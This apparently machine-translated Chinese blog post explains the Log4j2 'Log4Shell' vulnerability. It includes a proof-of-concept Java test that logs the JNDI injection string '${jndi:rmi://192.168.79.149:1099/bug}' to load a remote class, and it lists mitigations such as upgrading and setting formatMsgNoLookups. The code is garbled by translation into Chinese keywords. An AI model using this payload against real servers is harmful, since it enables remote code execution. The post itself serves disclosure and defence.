当前位置: 首页 > 后端技术 > Java

Log4j爆破高危漏洞及其解决方法

时间:2023-04-01 18:31:23 Java

2021.12.920:54,Log4j爆破“核弹级”漏洞。该漏洞利用成本极低,可直接执行任意代码并接管目标服务器。潜在危害的严重程度和影响是今年最高的。截至目前,Log4j2“核弹级”漏洞已影响全球超过6万个开源软件和超过30万个开源软件包,影响TOP10热门开源软件:Elasticsearch、SpringFramework、Druid、SpringCloudAlibaba、Skywalking、哨兵、MyBatis、HikariCP、Zipkin、MyBatis-Plus。该漏洞不排除其他利用方式,后续等待官方补丁。漏洞复现有两种方式:一种是ldap,一种是jndi;暂时通过jndi复现,感兴趣的朋友可以试试测试类importorg.apache.logging.log4j.LogManager;importorg.apache。logging.log4j.Logger;/***@Description:*@Author:王大凯*@Date:2021/12/13*/publicclassLog4jBugTest{privatestaticfinalLoggerLOGGER=LogManager.getLogger(Log4jBugTest.class);publicstaticvoidmain(String[]args){//将前端传给你的参数从jndi中添加进去,此时你已经打印了他的参数。字符串参数="${jndi:rmi://192.168.79.149:1099/bug}";LOGGER.error("参数:{}",params);}}远程服务器,这里用自己本地的ip,端口不要改。packagecom.cn.zj;importorg.apache.logging.log4j.LogManager;importorg.apache.logging.log4j.Logger;/***@Description:*@Author:wangdakai*@Date:2021/12/13*/publicclassLog4jBugTest{privatestaticfinalLoggerLOGGER=LogManager.getLogger(Log4jBugTest.class);publicstaticvoidmain(String[]args){//前端传给你的参数是jndi,你打印他的参数。字符串参数="${jndi:rmi://192.168.79.149:1099/bug}";LOGGER.error("参数:{}",params);}}共执行此代码包com.cn.zj;/***@Description:*@Author:wangdakai*@Date:2021/12/13*/publicclassBug{static{System.out.println("执行攻击者的代码");}}maven依赖于org.apache.logging.log4jlog4j-core2.14.1执行即可发现,bug中的代码可以在我们的Log4jBugTest控制台中找到,说如果我们的代码报错并打印参数,我们就会被攻击。解决方法是升级jar包。最新版本的log4j-2.15.0-rc2暂时比较稳定。不过之前说log4j-2.15.0-rc1是稳定的,所以还是可以绕过的。建议等待变化,使用临时方案,等待log4j稳定后再处理。https://github.com/apache/log...设置参数①设置参数:log4j2.formatMsgNoLookups=True②修改JVM参数:-Dlog4j2.formatMsgNoLookups=true③系统环境变量:FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS设置为true网络管理,服务器外展被禁止